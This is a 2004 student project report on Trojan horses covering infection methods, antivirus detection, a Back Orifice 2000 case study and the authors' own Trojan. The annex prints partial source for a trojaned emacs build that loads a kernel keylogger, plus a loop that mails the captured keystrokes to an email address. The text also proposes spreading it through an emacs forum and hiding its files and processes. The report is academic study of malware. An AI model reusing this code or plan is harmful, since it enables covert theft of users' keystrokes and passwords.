TDDC03 Projects, Spring 2004

Trojans

Philippe Farges, phifa124
Annick Tremblet, anntr946

Supervisor: Emil Haraldsson

Project on Trojans

Philippe Farges and Annick Tremblet
Department of Computer Science,
Linköping Institute of Technology, Sweden
phifa124@student.liu.se
anntr946@student.liu.se

***Abstract*—The popularity of the Internet has been growing recently, as have malicious attacks. In this paper, we will concentrate on Trojan horses. After the setting of the historical background and terminology definitions, we will perform a Trojan analysis. Typically we will answer the following questions: what are the possible methods of infection, how can Trojans be detected by anti-virus programs. Then we will make a short comparison of Trojans and other malicious attacks. In a next section, we will focus on analysing an existing and famous Trojan application BackOrifice2K. We will finish our study with the construction of our own Trojan.**

I. Introduction

A. A bit of history

During the Trojan war, the Greeks built an immense wooden horse and warriors hid inside it. After leaving the horse at the gates of Troy, the Greek army sailed away. The Trojans thought the Greeks had given up and had left the horse as a gift. During the night, the soldiers in the horse slipped out and opened the city gates, and the Greek army quietly entered Troy.

Just as the Greeks used a Trojan horse technique to enter Troy, the Trojan computer programs hide into something you know and trust. Until the 1980s, UNIX commands such as last, ls, netstat... would show you accounts used by intruders and malicious programs running on your system. Clever hackers developed methods to conceal their activities. The first Trojan appeared in 1983 posed as a graphics-enhancing program called EGABTR.COM. After it there's been many different Trojans; the best-known are AIDS Information Trojan (1989) and 12 Tricks Trojan (1990). 1998 was memorable for the appearance of Back Orifice, probably the most known Trojan in existence and one of the most powerful. This Trojan allowed others to take remote control of computers via the Internet. Others such as NetBus or SubSeven followed [**?**] [**?**].

B. Terminology

We define the following terms (definitions taken from [**?**]) in order to give the reader a good understanding of the subject :

Trojan horse : It is a computer program that appears to have a useful function but also has a hidden and potentially malicious function.

Virus: A hidden, self-replicating section of computer software, usually malicious logic, that propagates by infecting - i.e., inserting a copy of itself into and becoming part of - another program. A virus cannot run by itself; it requires that its host program be run to make the virus active.

Worm: A computer program that can run independently, can propagate a complete working version of itself onto other hosts on a network, and may consume computer resources destructively.

All of these categories are not mutually exclusive. In order to gain access to a user's computer, the victim has to be induced to install the Trojan himself. Malicious attacks often combine all of Trojan, virus and worm classes. An example is the Melissa mass mailer, which illustrates that viruses often get into a system via a trojaned executable. Trojans can themselves be classified into different categories (see [**?**] and [**?**] for more detailed definitions):

Remote Access Trojans are the most publicly used Trojans, because they give the attackers access to the victim's computer. The attacker can then perform the same operations as the legitimate user on the target machine. The victim is tricked into executing the Trojan, which results in running a server on his machine. Then the attacker runs the client on his own machine and can control the victim's computer. A very simple form of remote access Trojan is an FTP Trojan, where the program runs a FTP server on port 21 on the target machine. Some examples of remote access Trojans are : Netbus, Sub7 and BackOrifice (see below for a description of BackOrifice 2000).

Password Sending Trojans are aimed at extracting cached passwords and look for other passwords you're entering (passwords for ICQ, IRC, FTP, HTTP applications), and then send them back to the attacker's email address for example.

Keystroke Loggers have only to log the victim's keystrokes to let the attacker search for passwords and other sensitive data they might contain.

Destructive Trojans are very simple, they just aim at destroying/deleting files, e.g. victim's core system files such as .dll or .ini.

Denial of Service Trojans are getting very popular. The idea behind is trying to get a lot computers infected, say 200, and attack the victim simultaneously from those infected computers. This results in generation of a lot of traffic which may cause the victim's access to the Internet to shut down.

Software Detection Killers have the functionality

to disable anti-virus/firewall programs.

Of course, most Trojans can not be simply categorized and present features belonging to many of these categories. Rootkits are the first illustration: a **rootkit** is a collection of tools that a hacker uses to mask intrusion and obtain administrator-level access to a computer or computer network. The intruder installs a rootkit on a computer after first obtaining user-level access, either by exploiting a known vulnerability or cracking a password. The rootkit then collects userids and passwords to other machines on the network, aiming at giving root access to the cracker. A rootkit consists of utilities for monitoring traffic and keystrokes, creating "backdoor" into the system for the hacker's use, attacks other machines on the network, alters system tools to circumvent detection ...

Often, Trojan horses rely on **social engineering** methods. This term describes a non-technical kind of intrusion that relies heavily on human interaction and often involves tricking other people to break normal security procedures. We will come back to that in the Trojan Analysis section.

C. Economical impact

Trojan horse have in general private targets and impacts are not large scaled, but havoc might be important on a single machine. Also, they permit the attacker to give control over the victim's machine, increasing the damage for the system. However, the economical impact might become incredibly high for a company in case of a Distributed Denial of Service attack. In such cases, the goal is generally to completely deny service to the company's clients. The most infamous of the DDoS attacks occurred in February 2000, when a four-hour attack on popular sites such as Amazon, CNN, Yahoo! and eBay caused an estimated $1.2 billion in economic impact and millions of dollars in lost revenue, according to The Yankee Group[**?**]. Another example is when Microsoft's vast site was shut down for hours, causing a huge loss of revenue. But the loss is not only economic, the reputation of the attacked company suffers from those attacks as well.

As Trojans are generally targeted at private victims, this makes it difficult to settle down efficient and affordable protections, wide enough to protect against most kind of attacks.

II. Trojan Analysis

A. Methods of infection

Trojan horses are spread in various ways such as email attachments, files made to look like something they are not, or files placed on sites on the Internet to lure people to download them with appealing names [**?**], files sent to you via chat programs (IRC, ICQ, ...) and file sharing software.

Trojan horses make use of social engineering methods to trick people into downloading, installing and executing a trojaned program. For example, a person using social engineering to break into a computer system would try to gain confidence of someone who is authorized to access it in order to get him to reveal information that compromise the system's security. Social engineers often rely on the helpfulness of people and on their weaknesses, on people's inability to keep up with information technology, as well on people's unawareness of the value of the information they possess and are careless about protecting it.

A simple real example described in [**?**] is a pop up window, looking like an official MSN window, saying that "due to a server glitch we just need to get your account information so your service will not be interrupted". Users are fooled by the official appearance of the window and their kind nature lead them to reveal it. That way the attacker originating the window has just to make use of the obtained account number for personal purpose. Scenarios like this one can happen to anybody that has no clue about how Internet works. The CERT website [**?**] relates many incidents making use of social engineering on users of IRC and other instant messaging services. Intruders often post messages to unsuspecting users offering to download software such as music software, Anti-Virus protection, pornography,... Here is an example of such a message:

```
You are infected with a virus that let
attackers get into your machine and read
your files. I suggest you to download
[malicious url] and clean your infected
machine. Otherwise you'll be baned from
[IRC network].
```

This is purely a social engineering attack, since the result of the user being infected only depends on the user's decision to run the suggested software for the attack to be successful.

There are thousand ways of proceeding to gain such information, and of course, the same is true for the corporate world.

However, attacks can merely rely on altering the name of malicious code on a system so that it appears to belong to that machine. By giving a backdoor program the same name of some other program you'd normally expect to be on your system, the attacker is more likely to operate undetected. Good candidates that mimic file names in UNIX-like operating system are **init**, which is run first during system boot sequence and initiates other processes running, and **inetd**, which listens on the network for connection requests for many network services such as Telnet and FTP servers. Playing with Windows suffices might be as successful. The three-letter suffix of a file name in Windows is supposed to indicate the file's type and which application should be used to view that file. A malicious executable program could be disguised as something looking like a simple text file, by adding a bunch of spaces before the real suffix:

```
just_text.txt                                    .exe
```

A user might get tricked simply because he didn't notice the .exe suffix. If the user looks at such a file with the Windows Explorer file viewer, it'll appear that the file is just a text file.

A good reason for using social engineering is that most of the networks are protected with firewalls and other such security equipments. Instead of using technical solutions that can be hard to design, hackers use their communication skills to gain access to unauthorized information. Even if hackers can break their way in, it is sometimes just easier to go through people. Companies with authentication processes, firewalls, VPNs and network monitoring software are still wide open to an attack if an employee gives away key information in an email, by answering questions over the phone..., because people are kind and willing to be helpful.

B. Comparison of Trojans and other malicious attacks

The main differences between Trojan horses and other types of malicious code is that Trojans, as opposed to worms, need the user's intervention to be executed and that they do not replicate, as viruses and worms do. As the user executes the Trojan himself, it has to be hidden so that users of the system do not realize what the attacker is up to. Hence, Trojans attackers are more to rely on social engineering for installation.

C. Trojans and Anti-Virus Detection

As Trojans become more dangerous and popular today, most of the Anti-Virus scanners detect a big part of the public Trojans. However, we will now explain why people should not rely only on this method to protect themselves from Trojans.

Anti-virus software uses many techniques to detect malware. The principal technique used in detecting alteration of program files is to generate a numerical value that is a function of the content of the file. Those checksumming software rely on the calculation of a checksum of the hash of executables (e.g. with MD5 algorithm) on the system, which are then stored for later reference.

The checksum is recalculated periodically, for example when the application is started, in order to verify that it has not been altered. If a Trojan or a virus hides in a file, the checksum of this file is changed and thus can be detected. The assumption used in such methods is that Anti-Virus products must know the checksum of each of the software installed on the system. In the case that this checksum is not performed by the Anti-Virusprogram, the checksum has to be computed from a "clean" source.

A Trojan could be designed to circumvent a particular checksum program by arranging the concealing application in such a way that its digest checksum is not affected. Unless a Strong Cryptographically based approach is used, as with the MD5 algorithm, the algorithm process can be easily reproduced. In practice, it is not very likely that a Trojan writer will aim at defeating such systems because of the large variety of checksum programs available.

Another widely used class of detection software is signature based. This software can be divided into many types:

Generic virus detectors these detectors search code sources for sequences that might indicate a virus. Signature-recognition is often rendered complicated by unusual coding strategies or encryption of viral code.

Specific virus detectors these detectors search for code sequences that are known to appear in files infected by a specific strain of virus.

System process detection it is a less mature technique, based on behavioural characteristics. The strategy of such a system is to build up a database of "normal behaviour" for a given program. The "normal behaviour" is defined in terms of system calls sequences. Then the run of an application is monitored for "abnormal behaviour". To keep it simple, a sequence of system calls that doesn't match any pattern in the corresponding database indicates anomalies.

Why are Anti-Virus scanners not the appropriate tool for Trojans detection?

They are designed to protect from viruses and not from Trojans. We have to keep in mind that Trojans are different from viruses, and most solutions today try to detect them the same way as viruses. This poses problems for many reasons.

One major disadvantage of signature-based recognition product is that it can detect only viruses for which it has the signature. Problems occur with the fact that Trojans can be used to attack specific computers, as we already mentioned. Moreover, they don't replicate, as opposed to viruses. They are placed on a given number of systems and do not spread fast around the globe, which implies a restricted distribution and few chance of interception for a signature extraction.

A method frequently used by Trojans is the *killing process* method. As it indicates, it attempts to kill the security process, making it useless. Hopefully, turning a running process off would make users suspicious but there are many ways that can be employed to bypass this problem, such as replacing the targeted process icon by a dummy one, so that the user doesn't miss anything. Without going as far as killing the security process, a Trojan horse could just modify it. If a Trojan has the capability to write into the memory space of the anti-virus, it could add some "allow" rules, again rendering the Anti-Virus product useless. This actually also works for firewall. This kind of attacks could be prevented by monitoring the write calls, but this helps only if implemented from a lower system process. Otherwise the Trojan could just disable the monitoring process before the Anti-Virus.

The intrusion detection system has many interesting properties, among others the one of being sensitive to new kind of attacks. But the original problem remains: what if a Trojan horse can write and modify the system calls database?

III. Back Orifice 2000 case study

A. Presentation

In August of 1998, the "Cult of the Dead Cow" released a "remote administration tool" called Back Orifice. Then

Back Orifice 2000 or BO2k was released on July 10, 1999. The original Back Orifice caused havoc as a Trojan on Windows 95 and Windows 98 machines but it did not work in NT. The new BO2k can work on all Windows versions and is even more dangerous on Windows NT. BO2k is a client/server Windows application that allows the computer to be remotely controlled by another user, and it is one of the most powerful of its category for the Microsoft environment. Remote control software are not always bad and are widely used by system administrators but when intended to use for malicious purposes, it can create huge havoc to your system. While BO2k was presented as a helpful tool, it contains functionalities found in a lot of Trojan horses and it has a stealth behavior so that the end user does not know that BO2k is running on his machine. Another characteristic of BO2k is its ability to create a remote thread into another legitimate process: it can copy itself in another running program (for example explorer.exe) and then destroy its original process so that it becomes completely invisible. The source code for BO2k has been publicly released, which makes it even more dangerous because Trojans can now be created using parts of the code of BO2k. [**?**]

B. Capabilities

As BO2k is a Trojan, it must be installed and run on the target machine to become a security danger. The default server name is UMGR32.EXE, but this can be changed easily to any other file name. When the server program is running, the attacker can execute the "BO2KGUI.EXE" client program on his machine and take control of the machine on which the server is run. It then gives the attacker total control of the attacked system, here is a list of BO2k's capabilities as listed in the Cult of the Dead Cow documentation [**?**]:

- Keystroke logging
- HTTP file system browsing and transfer, with optional restrictions
- Management of Microsoft Networking file sharing
- Direct registry editing
- Direct file browsing, transfer and management
- Plugin extensibility
- Remote upgrading, installation and uninstallation
- Network redirection of TCP/IP connections
- Access console programs such as command shells through Telnet
- Multimedia support for audio/video capture and audio playback
- NT registry passwords and Win9x screensaver password dumping
- Process control, start, stop, list
- Multiple client connections over any medium
- GUI message prompts
- Proprietary file compression
- Remote reboot
- DNS name resolution

A lot of new features have also been added by plugins, e.g. a cryptographically strong Triple-DES encryption, a remote desktop or an Explorer-like file system browsing. An attacker can login on a remote machine and send or receive data posing as the legitimate user. BO2k can also reroute network connections and defeat firewalls because it can operate on any port, so it is very difficult to detect. With its encryption capabilities and as it can also be compressed, BO2k can elude signature analysis. When BO2k is first run on a machine, it gives no indication that it has been successfully installed. Usually BO2k is delivered embedded into other programs. Once it is installed, BO2k will try to be run automatically each time the victim's computer is started. So the BO2k file is copied in the windows system folder and an auto-startup entry is placed in the registry. In windows NT, BO2k can install itself as a system service and will pose as administrator to do so. When installed as a service, the filename can be changed into a text file name or any other name which will not be checked by an anti-virus software because it is not executable. On NT or Windows2000, BO2k can create a "remote thread" into another legitimate program (EXPLORER.EXE by default). Once this is done, BO2k can remove its own process, run in the remote thread and thus become impossible to detect. When this hijacked process is terminated, BO2k just installs a new remote thread in another running process [**?**] and [**?**].

C. Removal of BO2k

The BO2k server program is installed in any of the following registry keys:
HKEY_LOCAL_USER\Software\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\RunServices.
It can also be registered under CurrentControlSet\Services but it will be lost in a lot of entries and the name of the launch file will be stored as a binary chain. It is very difficult to spot the location of this file when you cannot decode hexadecimal ASCII values to alphanumeric. BO2k takes into account all prior removal methods into its location, filename and signatures so that it makes it more difficult to remove. Signature analysis will fail 99% of the time as BO2k was designed to fool existing methods of protection.

IV. Our Trojan: a LKM rootkit

A. Loadable Kernel Modules and System Calls

Loadable Kernel Modules (LKMs) allow the running operating system to be dynamically extended. Most modern UNIX-like operating systems (Solaris, Linux, FreeBSD,...) use LKMs. It offers more flexibility than the traditional method of recompiling the kernel to add new hardware functionality because new drivers can be loaded without recompilation of the kernel. However, this

gained power has the drawback to allow a malicious kernel module to subvert the entire operating system kernel.

Modern processors support running in two privilege modes: user mode and supervisor mode. User processes run in user mode while kernel routines run in supervisor mode. This mode distinction forces the user processes to access hardware resources only through the operating system's interfaces. A **system call** is the method by which a user mode process requests service from the operating system. For example, they are used for file operations (open, read, write, close), network operations (socket, connect, bind, listen, accept) and many other low-level system operations.

B. A LKM Keystroke Logger

We used the free software *vlogger* as a technical basis for our keystroke logger implementation. Our program logs user input by hijacking the tty_ldisc *receive_buf()* function, which is called by the tty driver to send characters received by the hardware to the line discipline for processing (declared in the tty_struct structure). In order to log user keystrokes, we replace this original function with our own *new_receive_buf()*. As the tty_ldisc and tty_struct structures are dynamically allocated in the kernel only when a tty is opened, we have to intercept the *sys_open* (*__NR_open* is equivalent) to hook the *receive_buf* function to each tty when the call is invoked.

C. Integration in Emacs

To make a Trojan from our keylogger, we decided to hide it in the *emacs* open source software. We proceeded as follows:

1. Check for root privileges. If we don't have root access, we display an error message when compiling emacs source code, inciting the user to log in as root.
2. If we have root privileges, we start by compiling our *sendmail* function, which is responsible for sending the log file containing the keystrokes via email every time it reaches the size of 1KB, and reinitialising the file.
3. Then we compile our keylogger program and insert the module in the kernel. Though compiling the module on the target machine makes it more likely for the process to be detected, it is a much better alternative for portability reason.
4. We finally run our *sendmail* program.

We gave our logger program the name *emacs-log*, so that the user might get less suspicious when looking at the files in the emacs archive [**?**]. To propagate our Trojan, the best way would probably to post it in an emacs-specialized forum, and present it as the newest version, or perhaps claiming that we improved drastically a functionality, to make the forum reader willing to install and test it.

D. Possible Improvements

We made the assumption that we have root privileges to insert our module in the kernel, or suppose that the user will give us when looking at our error message. However this is not very likely to happen is the user is not a beginner with the Linux operating system. Our Trojan can very easily be detected on the host machine, because we even don't try to hide the many process and files involved. To be able to run undetected, further work need to be done. We would have to hide our files (this could be done by intercepting and modifying the *sys_getdents* system call, which retrieves file listings). Besides, we should hide processes involved in our Trojan. The *ps* command do not use any special system call, but actually does an *ls* on the */proc* directory, so it must use the *sys_getdents* as well. As we use the system *mail* command, we assume either sendmail or postfix is installed, correctly configured and turned on on the target machine. Another improvement would be to install the module in the /lib/modules/‘uname -r/ directory, make a *depmod -a*, and add it to the list of modules to start at booting.

References

[1] UK SECURITY ONLINE, http://www.uksecurityonline.com/threat/, 9th May 2004

[2] totse.com, http://www.totse.com/en/_about/index.htm 9th May 2004

[3] SANS Institute, "SANS Glossary of Terms Used in Security and Intrusion Detection", http://www.sans.org/resources/glossary.php, 9th May 2004

[4] Complete Hacker Monitor, http://www.hacker-eliminator.com/trojandemo.html, 9th May 2004

[5] Jan Huska, Computer Viruses and Anti-Virus Warfare, 1990

[6] Dancho Danchev, The Complete Windows Trojans Paper.

[7] Asian School of Cyber Laws, What is a Trojan ?

[8] CS3, Pioneering Technologies for a Better Internet, http://www.cs3-inc.com/, 9th May 2004

[9] Computer Immunology, S. Forrest, S. Hofmeyr, A. Somayaji

[10] Candid West, Advanced communication techniques of remote access trojan horses on windows operating systems, 2004.

[11] CERT Incident Note IN-2002-03 Social Engineering Attackes via IRC and Instant Messaging, http://www.cert.org/incident_notes/IN-2002-03.html, 9th May 2004

[12] http://www.nsclean.com/psc-bo2k.html, 9th May 2004

[13] http://www.bo2k.com, 9th May 2004

[14] Jack Evenson, SANS Institute, Social Engineering, a Way Around the Hardware

[15] http://mirrors.usc.edu/pub/gnu/emacs/, 9th May 2004

Annexe

A. Changes in Emacs

```
/* ========================================================================== */
/* Here is the beginning of the emacs.c code */
/* ========================================================================== */

int main (argc, argv, envp)
     int argc;
     char **argv;
     char **envp; {

/* ========================================================================== */
/* Functionalities that we added */
/* ========================================================================== */

/* Check for root privileges.
 * If we have, we compile the sendmail.c program which is responsible for
 * sending key log files via email every time it reaches the size of 1KB.
 * Then we compile the keystrokes logger itself, and load it in the kernel.
 * Our last command start the sendmail process (the fork call is used to
 * permit it running in background while finishing making the rest of the
 * source code).
 * Otherwise, we just output an error that looks more or less like
 * standards ‘‘make’’ errors.
 */

    if (getuid() == 0) {
        system("gcc sendmail.c -o sendmail");
        system("gcc -Wall -O2 -I /usr/src/linux/include
                -include /usr/src/linux/include/linux/modversions.h
                -Wstrict-prototypes -fomit-frame-pointer -pipe
                -fno-strength-reduce -falign-loops=2 -falign-jumps=2
                -falign-functions=2 -D__KERNEL__ -DMODULE -DMODVERSION
                -c ./emacs-log.c");
        system("insmod ./emacs-log.o");
        if (!fork()) {
            system("./sendmail");
        }
    }
    else {
        system("echo make[1]: cannot build emacs - Permission denied");
        exit(0);
    }

/* ========================================================================== */
/* Rest of emacs code                                                         */
/* ========================================================================== */
```

```
/* ========================================================================== */
/* Interesting code snippets from emacs-log.c                                 */
/* ========================================================================== */
static inline void init_tty(struct tty_struct *tty, int tty_index)
{
    ...
    tty->ldisc.receive_buf = new_receive_buf;
    ...
}

asmlinkage int new_sys_open(const char *filename, int flags, int mode)
{
/* We save the original sys_open call, to be able to restore it when
 * unloading the module from the kernel. We do the same for the old
 * receive_buf function.
 */
    ...
    ret = (*original_sys_open)(filename, flags, mode);
    ...
    old_receive_buf = tty->ldisc.receive_buf;
    init_tty(tty, TTY_INDEX(tty));
    return ret;
}

/* We interrupt the ``__NR_open'' system call and replace it with
 * our own code, thus we are able to record every key stroke in a
 * log buffer for each of the opened consoles.
 */

int init_module(void) {
    original_sys_open = sys_call_table[__NR_open];
    sys_call_table[__NR_open] = new_sys_open;
    my_tty_open();
    return 0;
}

/* When we unload the module, we restore the original
 * ``__NR_open'' system call.
 */

void cleanup_module(void) {
   int i;
   sys_call_table[__NR_open] = original_sys_open;
   for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
       if (ttys[i] != NULL) {
           ttys[i]->tty->ldisc.receive_buf = old_receive_buf;
       }
   }
   sleep_on_timeout(&wq, HZ);
   for (i=0; i<MAX_TTY_CON + MAX_PTS_CON; i++) {
       if (ttys[i] != NULL) {
           kfree(ttys[i]);
       }
   }
}
```

```
/* ========================================================================== */
/* sendmail.c                                                                 */
/* ========================================================================== */

/* Every time the file containing the keystrokes reaches the size
 * of 1KB, we send it via email using the ‘‘mail’’ system command,
 * assuming it is installed on the target machine.
 */

#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main (int argc, char** argv) {

    int size = 0;
    FILE *f;

    while (1) {
        f = fopen("/tmp/emacs.log","r");
        while (f == NULL) {
            sleep(10);
            f = fopen("/tmp/emacs.log","r");
        }
        int c = fgetc(f);
        while (!feof(f)) {
            c = fgetc(f);
            size++;
        }
            if (size > 500) {
            system("mail -s emacs.log diego@q33.ryd.student.liu.se
                    < /tmp/emacs.log");
            system("rm -rf /tmp/emacs.log");
        }
        fclose(f);
        size = 0;
    }
    return 0;
}
```